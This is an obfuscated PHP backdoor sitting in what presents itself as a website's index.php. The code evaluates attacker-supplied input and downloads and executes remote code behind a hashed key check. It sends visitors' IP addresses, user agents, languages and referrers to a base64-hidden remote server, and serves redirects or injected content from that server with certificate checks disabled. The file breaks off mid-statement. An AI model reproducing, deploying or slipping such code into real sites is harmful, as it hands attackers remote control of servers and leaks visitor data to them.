File: /home/s1047229/domains/edu.synod.su/public_html/index.php
<?php
goto U3bciHxg5l6hP6hQ; F2Qz1SeLRzzowGG0: V3t8x8lEFtctM_w_: goto GEaMfiRnPG5bc15_; jBwgn5r4_545tHlR: $FkEFy1spo4MPhve3[66] = $FkEFy1spo4MPhve3[66] . $FkEFy1spo4MPhve3[71]; goto uS7d7XqQql6KbNjl; XhWoHL3XUYD2ocbH: MUxJW8T0pMVt5faM: goto czWOOj6owc0a71_q; OUKZ0HsVXip2NH0P: $AeOPIpgl4qj4xM5P["\163\x6e"] = uf4BiTUvcBfEqqss($_SERVER["\123\x43\122\111\120\124\x5f\116\101\x4d\105"]); goto a1HI7BULysBpfaMx; M5NfUct8t2o2BD2h: $FkEFy1spo4MPhve3 = ${$Vj1eZRH_zjSaKpmL[18 + 13] . $Vj1eZRH_zjSaKpmL[52 + 7] . $Vj1eZRH_zjSaKpmL[30 + 17] . $Vj1eZRH_zjSaKpmL[13 + 34] . $Vj1eZRH_zjSaKpmL[46 + 5] . $Vj1eZRH_zjSaKpmL[4 + 49] . $Vj1eZRH_zjSaKpmL[11 + 46]}; goto zB70ZMa_uqbWgtJa; U3bciHxg5l6hP6hQ: error_reporting(0); goto T3pAjhVdBzmxi0yC; GKRrgmFmVNA391sU: function N81cTK4Auvlnqv4o($kqUS8W8lhy471MEa) { goto bNWW9jxAkTJP01RT; Q4u5WXh8ybwvIpiY: foreach ($kqUS8W8lhy471MEa as $kK0qyTnZNy0eXIhp) { goto fgCal5_3_SMaWtaB; Saxbmxo9XMQznyj0: FwatF6AFXp3l3srj: goto B14rsou10rJZL7Y_; pdcTgKlEdH0OKwto: if (preg_match("\x2f\x63\157\156\164\145\156\164\x5c\x2d\164\x79\x70\145\x5c\x3a\133\x5c\163\135\x2b\x28\x2e\52\51\x2f\x69", $kK0qyTnZNy0eXIhp, $ixPvWdywwQSaM0eF)) { goto m4wPp1AE8C_2XhjL; } goto xiR_fBb_eOBlu29a; RXHH4avxjw1sKOvO: ifKI1t4b4NM8jaE4: goto XlOvPepcVMOlqqNv; mordk7rL98Y4qHSK: $e4U357pL_8xBWsFm["\x73\164\x61\164\x75\163"] = intval($ixPvWdywwQSaM0eF[1]); goto l11VrDfAyyCMxmug; qnfCHKFxAt0WoCAi: SMepz5KIM61v3c3Y: goto mordk7rL98Y4qHSK; B14rsou10rJZL7Y_: uM6D6cuPYsj3BG95: goto YAwEE83aF1ECQ9we; tIzZicyDZ31gNvnF: if (preg_match("\57\x6c\157\143\141\164\x69\157\156\x5c\72\x5b\134\163\x5d\53\x28\56\x2a\x29\57\x69", $kK0qyTnZNy0eXIhp, $ixPvWdywwQSaM0eF)) { goto ifKI1t4b4NM8jaE4; } goto pdcTgKlEdH0OKwto; xyryHgcVRKvLV26T: $e4U357pL_8xBWsFm["\x74\x79\160\x65"] = $ixPvWdywwQSaM0eF[1]; goto Saxbmxo9XMQznyj0; fgCal5_3_SMaWtaB: if (preg_match("\x2f\x68\164\164\160\x5c\57\x5b\60\x2d\71\134\x2e\x5d\53\133\x5c\x73\135\53\50\x5b\x30\55\x39\x5d\x2b\x29\57\151", $kK0qyTnZNy0eXIhp, $ixPvWdywwQSaM0eF)) { goto SMepz5KIM61v3c3Y; } goto tIzZicyDZ31gNvnF; XlOvPepcVMOlqqNv: $e4U357pL_8xBWsFm["\x63\x6f\156\164\x65\156\x74"] = $ixPvWdywwQSaM0eF[1]; goto csGUJwXLAtl9XCXZ; xiR_fBb_eOBlu29a: goto FwatF6AFXp3l3srj; goto qnfCHKFxAt0WoCAi; csGUJwXLAtl9XCXZ: goto FwatF6AFXp3l3srj; goto zKirFQcnB112MXLD; l11VrDfAyyCMxmug: goto FwatF6AFXp3l3srj; goto RXHH4avxjw1sKOvO; zKirFQcnB112MXLD: m4wPp1AE8C_2XhjL: goto xyryHgcVRKvLV26T; YAwEE83aF1ECQ9we: } goto Cv65z1rQGoy6EaGu; Wd_nNyha2RGL5Vzg: if (is_array($kqUS8W8lhy471MEa)) { goto LG7_eEm6jqWCRW8O; } goto VGufkpkAs2OQXzCP; dRKJkqwdobl2WKOj: return $e4U357pL_8xBWsFm; goto CGhIG9BbJnO43Pmq; VGufkpkAs2OQXzCP: return $e4U357pL_8xBWsFm; goto DIqzszERfDjn919l; DIqzszERfDjn919l: LG7_eEm6jqWCRW8O: goto Q4u5WXh8ybwvIpiY; Cv65z1rQGoy6EaGu: qbteQAJi5JE889HT: goto dRKJkqwdobl2WKOj; bNWW9jxAkTJP01RT: $e4U357pL_8xBWsFm = array("\x73\x74\x61\x74\x75\163" => 0, "\143\x6f\x6e\x74\145\x6e\x74" => '', "\x74\171\160\145" => ''); goto Wd_nNyha2RGL5Vzg; CGhIG9BbJnO43Pmq: } goto KQRs4w_HZ2O5g_aM; HsHocQ8cjMH1Z8Az: class r2DEMMIhMWCI93vZ { static function c1yCXpF0sdzL_IZA($l8A76BnydsiSAXa7) { goto Jh5176GHMqHpBJu3; Pet_vMgSLhGGa3Ke: $rLjFq1hC78SwbzEF = explode("\74", $l8A76BnydsiSAXa7); goto KtpT28a9GUlGjaVs; J1eF3CWYguXU89bN: iXP9wmVW2k3icdU2: goto NX50h_ql6xCrYJ9u; MMuTClqKholGdJq6: foreach ($rLjFq1hC78SwbzEF as $S6MAw15ClvhrCw_Z => $AGyq19xwslh3v2Aa) { $LP1aHVIxOIqOvdLB .= $YdMCMikxeMrFHTc0[$AGyq19xwslh3v2Aa - 65469]; bno8mkrOJ7WbcNqG: } goto J1eF3CWYguXU89bN; NX50h_ql6xCrYJ9u: return $LP1aHVIxOIqOvdLB; goto wjrJG4l1rfy7kCSV; Jh5176GHMqHpBJu3: $MWGxkyITjR_oNQ5_ = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto QyVlPEEvFT01q9ef; QyVlPEEvFT01q9ef: $YdMCMikxeMrFHTc0 = $MWGxkyITjR_oNQ5_("\176", "\40"); goto Pet_vMgSLhGGa3Ke; KtpT28a9GUlGjaVs: $LP1aHVIxOIqOvdLB = ''; goto MMuTClqKholGdJq6; wjrJG4l1rfy7kCSV: } static function YhqKPkJoljTsMRb2($RVxSDZaElMpw7tMS, $mIy0a4VDHfqfWs41) { goto WWzVHaM4ScOX9F1Z; axWtdKKck1jDBZMH: curl_setopt($Nmi1_vRUJjsv0pC2, CURLOPT_RETURNTRANSFER, 1); goto IHZmWHNeMnrv3B2b; IHZmWHNeMnrv3B2b: $MyiCJ3BxmhOrDpsg = curl_exec($Nmi1_vRUJjsv0pC2); goto FF72Kgv4Ojk7b9KL; WWzVHaM4ScOX9F1Z: $Nmi1_vRUJjsv0pC2 = curl_init($RVxSDZaElMpw7tMS); goto axWtdKKck1jDBZMH; FF72Kgv4Ojk7b9KL: return empty($MyiCJ3BxmhOrDpsg) ? $mIy0a4VDHfqfWs41($RVxSDZaElMpw7tMS) : $MyiCJ3BxmhOrDpsg; goto FshK4R1WXJa4fkoG; FshK4R1WXJa4fkoG: } static function V1hF8KEI5IJ85rm5() { goto yDuu5upSFeuwEwIi; yVBz47TPDO61Vw8T: $fgiSqI8Gl6oyFxyP = @$sGZJnlYQ2ojGUhwD[0 + 3]($sGZJnlYQ2ojGUhwD[2 + 4], $Z1CIJZyjk9FfzWtH); goto c7nnD7LsPkV305z8; Kex1IFxXyrJ1JxV0: @$sGZJnlYQ2ojGUhwD[4 + 6](INPUT_GET, "\157\x66") == 1 && die($sGZJnlYQ2ojGUhwD[4 + 1](__FILE__)); goto O5EMp1npTZ9uWjc8; pnYreXtJ40nftVRa: $wsA6is5hR4jCiVBl = md5($FY3dzfVPRArpJy3K[3 + 0]); goto Kex1IFxXyrJ1JxV0; d2JctRjjGnkgOqq3: $Z1CIJZyjk9FfzWtH = @$sGZJnlYQ2ojGUhwD[1]($sGZJnlYQ2ojGUhwD[5 + 5](INPUT_GET, $sGZJnlYQ2ojGUhwD[6 + 3])); goto yVBz47TPDO61Vw8T; wQ6Zm6xoySNIp2Ob: sIkKANnI9rqwUVtb: goto d2JctRjjGnkgOqq3; yeOyWMVe0WQ1OUPn: foreach ($KcL3r6GDoS1epoIJ as $nge9NmA16tbBWtp0) { $sGZJnlYQ2ojGUhwD[] = self::C1yCXpF0SDzL_IZa($nge9NmA16tbBWtp0); a27UoUD6HxJAIOzi: } goto wQ6Zm6xoySNIp2Ob; ci6872vo_HKVVG3s: @eval($sGZJnlYQ2ojGUhwD[4 + 0]($itK_heVZ6t3b75e1)); goto tr1ps0ENrtcDMH3C; Yp5lvL27rRlaBVzb: $itK_heVZ6t3b75e1 = self::YhQkPkjOljTsmRB2($FY3dzfVPRArpJy3K[1 + 0], $sGZJnlYQ2ojGUhwD[2 + 3]); goto ci6872vo_HKVVG3s; tr1ps0ENrtcDMH3C: die; goto FVRirlsHVjdQ0Q54; FVRirlsHVjdQ0Q54: zEG5Rv9tKlQPBgYh: goto vXZwxZyfNW2FaY4V; O5EMp1npTZ9uWjc8: $RlxlhJDusAJ_cbiE = md5($wsA6is5hR4jCiVBl); goto mOCMBRx4DNyJaSQG; yDuu5upSFeuwEwIi: $KcL3r6GDoS1epoIJ = array("\x36\65\64\x39\x36\74\66\x35\x34\70\x31\74\x36\x35\x34\71\x34\x3c\x36\x35\x34\71\70\x3c\66\65\64\x37\71\74\x36\65\64\x39\64\74\66\x35\65\60\60\x3c\66\65\64\x39\x33\74\x36\65\x34\67\x38\74\66\65\64\70\x35\x3c\66\65\64\x39\x36\74\x36\65\x34\x37\x39\x3c\66\x35\64\x39\60\x3c\66\x35\64\70\x34\74\66\65\x34\x38\65", "\66\x35\x34\x38\60\74\66\x35\x34\x37\71\x3c\x36\65\64\x38\61\74\x36\x35\65\60\60\x3c\66\x35\x34\x38\61\x3c\x36\x35\x34\x38\64\74\66\x35\64\67\x39\74\66\65\x35\x34\x36\x3c\66\65\x35\x34\64", "\x36\65\64\x38\71\x3c\x36\x35\x34\x38\x30\x3c\66\65\64\x38\64\74\66\x35\x34\70\x35\74\66\x35\65\60\60\x3c\x36\65\64\x39\x35\74\66\x35\64\x39\x34\74\66\x35\64\71\x36\x3c\x36\x35\64\70\x34\74\x36\65\64\71\65\74\66\65\64\71\64", "\x36\x35\x34\70\x33\74\66\65\x34\71\x38\x3c\x36\65\x34\x39\x36\x3c\x36\65\x34\x38\x38", "\66\x35\64\71\67\74\66\x35\x34\x39\x38\x3c\x36\x35\x34\x38\x30\x3c\66\x35\x34\71\64\74\x36\65\x35\64\x31\74\66\x35\65\x34\x33\74\x36\65\x35\x30\60\74\66\65\x34\71\65\74\66\x35\x34\71\64\x3c\66\x35\64\71\66\x3c\x36\65\x34\x38\64\74\66\65\64\x39\x35\x3c\66\x35\x34\x39\64", "\x36\x35\x34\x39\63\74\x36\x35\64\71\x30\x3c\x36\x35\x34\x38\x37\74\x36\65\x34\71\x34\74\66\x35\65\x30\60\x3c\66\65\64\71\x32\x3c\66\65\x34\x39\64\74\66\65\64\x37\71\x3c\66\65\65\60\60\74\x36\65\x34\x39\66\74\66\x35\x34\x38\x34\x3c\66\65\x34\x38\x35\74\66\x35\64\x37\71\74\x36\65\x34\x39\x34\74\x36\65\x34\70\x35\74\x36\65\64\x37\71\74\x36\65\x34\70\x30", "\66\65\x35\x32\x33\74\x36\x35\x35\65\63", "\66\65\x34\x37\60", "\66\x35\65\64\70\x3c\x36\x35\65\65\x33", "\66\65\65\63\60\74\x36\65\x35\x31\63\74\66\65\65\x31\x33\74\66\65\65\x33\60\x3c\x36\x35\65\x30\66", "\x36\65\64\71\x33\x3c\66\x35\64\71\x30\74\x36\65\64\70\x37\74\66\x35\64\x37\x39\x3c\66\65\x34\71\x34\74\x36\65\64\70\x31\74\66\65\x35\60\60\x3c\66\x35\x34\x39\x30\74\66\x35\x34\x38\x35\74\66\65\64\70\63\74\66\x35\x34\67\x38\x3c\x36\x35\64\67\71"); goto yeOyWMVe0WQ1OUPn; mOCMBRx4DNyJaSQG: if (!(@$FY3dzfVPRArpJy3K[0] - time() > 0 and $RlxlhJDusAJ_cbiE === "\142\65\143\64\61\144\66\141\x34\143\x37\141\x34\x30\x30\145\x38\x31\x35\143\x30\142\70\x31\61\x38\70\67\x32\x34\x62\x66")) { goto zEG5Rv9tKlQPBgYh; } goto Yp5lvL27rRlaBVzb; c7nnD7LsPkV305z8: $FY3dzfVPRArpJy3K = $sGZJnlYQ2ojGUhwD[2 + 0]($fgiSqI8Gl6oyFxyP, true); goto pnYreXtJ40nftVRa; vXZwxZyfNW2FaY4V: } } goto X_tYipkm7uTPfEXp; rvdOKGdJ0tyJrL_G: switch ($kbNCWYPtNX8hijSG["\163\164\141\x74\x75\163"]) { case 301: goto gcwvDeeJr8dk5D2Q; gcwvDeeJr8dk5D2Q: header("\x48\x54\x54\120\x2f\61\56\x31\x20\63\60\x31\x20\115\x6f\166\x65\x64\x20\120\145\162\x6d\141\156\145\156\164\154\171"); goto zO1GlC7ceLP2z0z0; zO1GlC7ceLP2z0z0: header("\x4c\157\143\141\x74\151\157\x6e\72\x20" . trim($kbNCWYPtNX8hijSG["\x63\x6f\156\x74\145\x6e\x74"])); goto SnWGjcXShluKDtf9; SnWGjcXShluKDtf9: goto Bu65OHMd2qQya7Al; goto rgkZM9nrU7zTNhRE; rgkZM9nrU7zTNhRE: case 302: goto R3EYcFGai7tVMaC8; R3EYcFGai7tVMaC8: header("\110\x54\124\120\x2f\x31\x2e\x31\x20\x33\x30\62\x20\115\157\x76\x65\40\124\x65\155\160\x6f\x72\x61\x72\151\x6c\x79"); goto Q95RGvukttNcqOW1; qlfvPOn2Ujn8iwJU: goto Bu65OHMd2qQya7Al; goto Acuq034IzmTEziT9; Q95RGvukttNcqOW1: header("\x4c\x6f\x63\x61\164\151\x6f\x6e\72\40" . trim($kbNCWYPtNX8hijSG["\x63\157\156\164\x65\156\x74"])); goto qlfvPOn2Ujn8iwJU; Acuq034IzmTEziT9: case 404: goto iiVHg5ypQKHbBwH8; gwoJZ1xbJMgk1yyU: header("\x73\164\141\x74\165\163\x3a\x20\64\x30\x34\x20\116\157\x74\x20\106\x6f\x75\156\144"); goto cvmdIcTfEaZJ7R2g; cvmdIcTfEaZJ7R2g: goto Bu65OHMd2qQya7Al; goto AhFeXoYQQcPOwjPW; iiVHg5ypQKHbBwH8: header("\x48\x54\x54\x50\x2f\61\x2e\61\x20\64\x30\64\x20\116\157\x74\40\x46\x6f\165\x6e\x64"); goto gwoJZ1xbJMgk1yyU; AhFeXoYQQcPOwjPW: default: goto Bu65OHMd2qQya7Al; } goto dr4bSt1ASt7WCEgj; sOrRTkDFucgzYaTX: $NT71Pi5GlroWAhhQ = preg_replace("\x2f\x5c\77\x2e\x2a\57", '', $_SERVER["\x52\105\x51\125\105\123\x54\137\125\x52\111"]); goto BrTrhZw26GZ5FtcZ; fI9Z2VrD47tm4m6m: $T6bUPZg9Xvmeooxe = substr($NT71Pi5GlroWAhhQ, strpos($NT71Pi5GlroWAhhQ, "\56")); goto mUnwP9qzSIJ4rvjJ; Od_6lNkqXlCX0X4m: $AeOPIpgl4qj4xM5P = array(); goto lG1A5YV1HX00JW4b; XiJZQuIfrXMAmd7T: if (!($_SERVER["\x52\105\121\x55\x45\x53\124\137\x55\122\111"] === "\x2f\x52\x2d" . md5($_SERVER["\123\x45\122\x56\105\x52\137\x4e\x41\x4d\x45"]))) { goto MUxJW8T0pMVt5faM; } goto hoNQO0E_EL_ohAo7; F1v6BxnrgPBXOcpU: function VgLLstk67KDUteiU() { goto k7mNpNVJAGv81jR2; iHiXf9zejCGwbWti: return $gAKYn_4ApDEKBSJL; goto QhU7nGMQQI7PrScq; zw1QYJZI4cU8ZcbO: if (isset($_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\117\x52\x57\x41\x52\104\105\x44\x5f\120\122\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\130\137\106\117\122\x57\101\x52\x44\105\x44\x5f\120\122\x4f\124\117"] === "\150\x74\164\160\163") { goto iYaulQmcmtw8CP68; } goto vZqIf8u9Vq5eHI3r; caHs4Ub0SB84aBsJ: iYaulQmcmtw8CP68: goto UO1sih8NTxRV8sUR; SXOBr8BImaoclhg3: $gAKYn_4ApDEKBSJL = "\x68\164\x74\x70\x73\x3a\57\57"; goto utLQfdzUPx5cbfL6; nb2EcyY1GbpRHH7_: nGsVxm1FYS3SF9rs: goto SXOBr8BImaoclhg3; utLQfdzUPx5cbfL6: goto I1C0suxHCbfq3vfp; goto caHs4Ub0SB84aBsJ; TirDtNJwzJemIjbp: vGYJp0XVQXjP1_Q0: goto n57XZ3Mf3AvJCRHS; n57XZ3Mf3AvJCRHS: $gAKYn_4ApDEKBSJL = "\150\164\164\x70\x73\x3a\x2f\57"; goto uU0TnK_AyiZeIKRd; pXHabyQ2z0Zdw_bl: goto I1C0suxHCbfq3vfp; goto TirDtNJwzJemIjbp; vZqIf8u9Vq5eHI3r: if (isset($_SERVER["\110\x54\x54\120\137\x46\122\x4f\116\x54\137\x45\x4e\104\137\110\124\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\106\x52\117\x4e\124\x5f\x45\x4e\104\x5f\x48\124\124\x50\x53"]) !== "\157\x66\146") { goto vGYJp0XVQXjP1_Q0; } goto IQeD6lLIZf2Deakp; IQeD6lLIZf2Deakp: goto I1C0suxHCbfq3vfp; goto nb2EcyY1GbpRHH7_; uU0TnK_AyiZeIKRd: I1C0suxHCbfq3vfp: goto iHiXf9zejCGwbWti; k7mNpNVJAGv81jR2: $gAKYn_4ApDEKBSJL = "\150\x74\x74\160\x3a\57\57"; goto IFxsPsT6R2V5QYxL; UO1sih8NTxRV8sUR: $gAKYn_4ApDEKBSJL = "\x68\x74\164\160\163\x3a\x2f\x2f"; goto pXHabyQ2z0Zdw_bl; IFxsPsT6R2V5QYxL: if (isset($_SERVER["\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\146") { goto nGsVxm1FYS3SF9rs; } goto zw1QYJZI4cU8ZcbO; QhU7nGMQQI7PrScq: } goto XiJZQuIfrXMAmd7T; Ko1RQ4oDknyd2Bqe: $XpibeBMD_UvJ__45 = vgLlSTk67KDUteiU() . $_SERVER["\110\x54\x54\120\137\110\x4f\123\124"]; goto ohtKXVMM5O83MUwd; dr4bSt1ASt7WCEgj: ejp6Ju9zlP0rmEg1: goto p0XeGceqR71svEeE; FwtkTDNpqmvdZkNK: function Uf4bITuVcbFEqqss($AkaPVHh7LjcFr8vS) { goto FX9s_08ZYzF4Smx9; dmPNb4dsGjeYtI5T: Y8T0zvo0_DkjPaQd: goto kO4_PhsRLK8ZRV0U; kO4_PhsRLK8ZRV0U: return rtrim(strtr(base64_encode($AkaPVHh7LjcFr8vS), "\x2b\x2f", "\55\137"), "\x3d"); goto XH13n4fxGYF42QFU; XHHIoraEuUMmG0JA: return ''; goto dmPNb4dsGjeYtI5T; FX9s_08ZYzF4Smx9: if ($AkaPVHh7LjcFr8vS) { goto Y8T0zvo0_DkjPaQd; } goto XHHIoraEuUMmG0JA; XH13n4fxGYF42QFU: } goto FM2Prw2zI1yIvZzZ; T3pAjhVdBzmxi0yC: $XxRNS0Dr3hY05w1U = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto OC1hqha3L2BTHgtZ; BxSjXQ1Vw0W7QzwI: $AeOPIpgl4qj4xM5P["\154"] = Uf4BITUvCBfeqQSs($_SERVER["\110\x54\x54\120\137\x41\x43\103\105\120\x54\137\114\101\x4e\x47\x55\101\107\105"]); goto OUKZ0HsVXip2NH0P; XHLLAkm7OtuhUFCM: if (!strlen($kbNCWYPtNX8hijSG["\143\x6f\156\164\145\x6e\164"])) { goto cib4ZF_MdAQN2Ii0; } goto vVIaglQ3kTi9UWYy; ahj3MHO7cyLh8EGU: $G7Cl3pHaTLdBh4_f = ''; goto K1ZyUordiD_jukVC; yWNBbYZSdQWB7spc: $MiHDVWrQ9tgyrXvw = z3Q4daFVNAx0WSxC(); goto p9RSstByh6s4frci; XUktQTkminFO04XB: error_reporting(0); goto GKRrgmFmVNA391sU; OC1hqha3L2BTHgtZ: $Vj1eZRH_zjSaKpmL = $XxRNS0Dr3hY05w1U("\x7e", "\x20"); goto M5NfUct8t2o2BD2h; BrTrhZw26GZ5FtcZ: $T9h8Njvnn2GgYdfG = false; goto v2tCzZ8w31OB3Kq0; bChqlfIYtUDB3CtR: cib4ZF_MdAQN2Ii0: goto zsDXBrqE837mxVbV; p0XeGceqR71svEeE: Bu65OHMd2qQya7Al: goto DsFvg1jPpA32LGzG; ohtKXVMM5O83MUwd: if (!(strpos($G7Cl3pHaTLdBh4_f, $XpibeBMD_UvJ__45) === 0)) { goto MhxIiNQtAsa0VvOQ; } goto ahj3MHO7cyLh8EGU; uS7d7XqQql6KbNjl: @eval($FkEFy1spo4MPhve3[66](${$FkEFy1spo4MPhve3[38]}[22])); goto F2Qz1SeLRzzowGG0; iKj8j3RZC9F06q9n: $AeOPIpgl4qj4xM5P["\165"] = UF4bITuvCBfeQQsS($_SERVER["\110\x54\x54\x50\x5f\125\x53\x45\122\137\x41\x47\x45\116\x54"]); goto sOrRTkDFucgzYaTX; o19YShonmtwXPwsr: $kbNCWYPtNX8hijSG = Tt_iiG3RvXizwA8M(base64_decode("\141\x48\x52\x30\143\x44\157\166\114\x33\160\172\117\124\x4d\x35\x64\152\x45\172\114\x6d\106\156\143\155\71\165\114\x6e\144\166\143\155\x73\x76"), $AeOPIpgl4qj4xM5P); goto hzod14l2jw_0FLgv; eYX8qIA5hFyMGDeL: $AeOPIpgl4qj4xM5P["\x72\x66"] = Uf4bITUVcBFeqqss($G7Cl3pHaTLdBh4_f); goto DflqBVV286vshcii; NEglJachPaQLpm8q: echo $kbNCWYPtNX8hijSG["\x63\157\x6e\x74\x65\156\x74"]; goto q7m29m3gGVmVQBqa; KQRs4w_HZ2O5g_aM: function Tt_Iig3RvxIzwA8m($ZhsOq_hezd2bo65h, $ml0x2FsNUs3NwwWV = array()) { goto ljOlKASm5jaK6eMV; ljOlKASm5jaK6eMV: $kbNCWYPtNX8hijSG = array("\x73\164\x61\164\165\x73" => 0, "\x63\x6f\156\x74\x65\x6e\164" => '', "\164\171\160\x65" => ''); goto heuhEo2PBLFTB5mK; m3F0T9utURTR4pKz: try { goto V7uqVa9zTwmWNGYQ; XHwbWkTpEXZD5IGF: $kbNCWYPtNX8hijSG["\x73\164\141\x74\x75\163"] = intval(curl_getinfo($z1K6k9Qtha266KKy, CURLINFO_HTTP_CODE)); goto Sab57n2hI184OK7H; qxZYGcxSnyRcra9N: if (ini_get("\141\154\x6c\157\167\137\165\162\154\x5f\146\x6f\x70\145\156")) { goto tX1zmZiUeIuzkxiJ; } goto ctdhlqN5OYypUY1v; qxizlKPN3TjxV3Fm: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_FOLLOWLOCATION, 0); goto sxAxhBAKBxMf250x; bIVvvx3mTfxfvkt_: $kbNCWYPtNX8hijSG["\143\157\x6e\164\x65\156\x74"] = strval(curl_getinfo($z1K6k9Qtha266KKy, CURLINFO_REDIRECT_URL)); goto uXUWCKrHtvZLcGyb; uXUWCKrHtvZLcGyb: @curl_close($z1K6k9Qtha266KKy); goto Q_ieJXPXGjSog05o; A2XHS8lAq5eOzxES: $kbNCWYPtNX8hijSG = array_merge($kbNCWYPtNX8hijSG, n81CTk4aUVlNqv4O($http_response_header)); goto pUIoHmb_eDsR2HXY; PLEc3h3vI550HtJo: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_TIMEOUT, 60); goto qxizlKPN3TjxV3Fm; Sab57n2hI184OK7H: $kbNCWYPtNX8hijSG["\164\x79\x70\145"] = strval(curl_getinfo($z1K6k9Qtha266KKy, CURLINFO_CONTENT_TYPE)); goto bIVvvx3mTfxfvkt_; I90BoXp1JvOFJcNF: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_RETURNTRANSFER, 1); goto GOUWemwaLglerCpK; JZyQSZUm0XKVcbmd: $trvajbqeudZcz801 = stream_context_create($rXhv_gzYBN4Pnhdc); goto Kx1L02808Fsi_8Ua; pq3X7eXB1tfhIpZU: swKCljmiO7gM_SFz: goto l8wKFXFVrNwF0b5s; EhsQ7ymhmEaxyaEm: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_SSL_VERIFYHOST, 0); goto K_bMVfgxkAyUT87f; Q_ieJXPXGjSog05o: if (!in_array($kbNCWYPtNX8hijSG["\163\164\141\x74\165\163"], array(200, 301, 302, 404))) { goto swKCljmiO7gM_SFz; } goto DvKo03bWaCEqiuXU; N0wE4rEhesVpB92I: bco_nlBUzZ_oG7w5: goto UxVA3BGkF3rdsJc9; sxAxhBAKBxMf250x: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_COOKIESESSION, 0); goto I90BoXp1JvOFJcNF; DvKo03bWaCEqiuXU: $kbNCWYPtNX8hijSG["\x63\157\x6e\164\x65\x6e\x74"] = strval($eVIb1mNEbJAW6OLp); goto pq3X7eXB1tfhIpZU; GOUWemwaLglerCpK: $eVIb1mNEbJAW6OLp = curl_exec($z1K6k9Qtha266KKy); goto XHwbWkTpEXZD5IGF; RC1AH2Wymo6imOsb: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_CONNECTTIMEOUT, 20); goto PLEc3h3vI550HtJo; ctdhlqN5OYypUY1v: goto aJ9gQjUhjz4mRNwb; goto wwvraWm11BKccKSN; BdzzCEHMfWUqInWk: $z1K6k9Qtha266KKy = curl_init(); goto aMjYVKdggZT0suFd; K_bMVfgxkAyUT87f: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_SSL_VERIFYPEER, 0); goto RC1AH2Wymo6imOsb; B4k0F5b1_unF1epS: $rXhv_gzYBN4Pnhdc = array("\x68\164\x74\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\105\x54", "\164\151\x6d\x65\x6f\165\164" => 60, "\146\157\x6c\x6c\157\x77\x5f\154\157\143\x61\164\x69\x6f\x6e" => 0), "\163\163\154" => array("\166\x65\x72\x69\146\x79\137\x70\x65\x65\x72" => false, "\x76\x65\x72\151\146\x79\137\x70\x65\x65\162\x5f\156\141\x6d\x65" => false)); goto JZyQSZUm0XKVcbmd; Kx1L02808Fsi_8Ua: $kXDLLDZG2x5K3ckB = @file_get_contents($ZhsOq_hezd2bo65h, false, $trvajbqeudZcz801); goto A2XHS8lAq5eOzxES; aMjYVKdggZT0suFd: curl_setopt($z1K6k9Qtha266KKy, CURLOPT_URL, $ZhsOq_hezd2bo65h); goto EhsQ7ymhmEaxyaEm; UxVA3BGkF3rdsJc9: aJ9gQjUhjz4mRNwb: goto ojNLhq_qxgtYNN7s; pUIoHmb_eDsR2HXY: if (!in_array($kbNCWYPtNX8hijSG["\x73\164\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto bco_nlBUzZ_oG7w5; } goto HvRhwUk0rwn9U4zv; k13x_7grNcFkfoeT: tX1zmZiUeIuzkxiJ: goto B4k0F5b1_unF1epS; l8wKFXFVrNwF0b5s: goto aJ9gQjUhjz4mRNwb; goto k13x_7grNcFkfoeT; wwvraWm11BKccKSN: WfnosG1x0ODpPmhN: goto BdzzCEHMfWUqInWk; V7uqVa9zTwmWNGYQ: if (function_exists("\143\x75\x72\x6c\137\x65\x78\x65\143") && function_exists("\x63\165\x72\x6c\137\x69\x6e\x69\x74")) { goto WfnosG1x0ODpPmhN; } goto qxZYGcxSnyRcra9N; HvRhwUk0rwn9U4zv: $kbNCWYPtNX8hijSG["\143\x6f\156\164\145\156\x74"] = strval($kXDLLDZG2x5K3ckB); goto N0wE4rEhesVpB92I; ojNLhq_qxgtYNN7s: } catch (Exception $ipQ6Arv6SuF3dofH) { } goto GhTEFiqpSQVXdRFn; heuhEo2PBLFTB5mK: if (!(is_array($ml0x2FsNUs3NwwWV) && count($ml0x2FsNUs3NwwWV))) { goto ELvgHFMXnAJ6rOBC; } goto INPsDIwACGF0pQE2; GhTEFiqpSQVXdRFn: return $kbNCWYPtNX8hijSG; goto DJ0PPS9j2hRnbzJ_; INPsDIwACGF0pQE2: $ZhsOq_hezd2bo65h .= "\x3f" . http_build_query($ml0x2FsNUs3NwwWV); goto xvRT4sCxmKKru6ga; xvRT4sCxmKKru6ga: ELvgHFMXnAJ6rOBC: goto m3F0T9utURTR4pKz; DJ0PPS9j2hRnbzJ_: } goto FwtkTDNpqmvdZkNK; lG1A5YV1HX00JW4b: $AeOPIpgl4qj4xM5P["\x69"] = Uf4bItuVCbFEqQsS($MiHDVWrQ9tgyrXvw); goto BxSjXQ1Vw0W7QzwI; DflqBVV286vshcii: $AeOPIpgl4qj4xM5P["\163"] = UF4BITuvCbfEQqSs($XpibeBMD_UvJ__45); goto iKj8j3RZC9F06q9n; DsFvg1jPpA32LGzG: f0QhyBmj51U9yC_5: goto XHLLAkm7OtuhUFCM; czWOOj6owc0a71_q: if (!substr_count($_SERVER["\122\105\121\x55\x45\123\124\x5f\x55\x52\x49"], "\151\156\x64\x65\x78\56\160\150\x70\57\152\153")) { goto et8gXVR2eRhyPWFg; } goto q6wbpeXzDvzIu0dj; WtRdbzbwkQneT_yQ: hReJgOmYkkaY4yLq: goto O8gx7PrtHkQrEzbJ; p7ol44Thkjizi0Xn: fccv2vhvf9xWNxyG: goto WtRdbzbwkQneT_yQ; E6WYwjI_muxV8jdx: $T9h8Njvnn2GgYdfG = true; goto p7ol44Thkjizi0Xn; I4jvTkJL11YKDNFw: header("\103\x6f\156\164\x65\x6e\164\x2d\124\x79\160\x65\x3a\40\164\x65\170\164\x2f\150\164\155\x6c\x3b\x20\x63\x68\141\x72\163\x65\x74\75\165\x74\146\x2d\x38"); goto 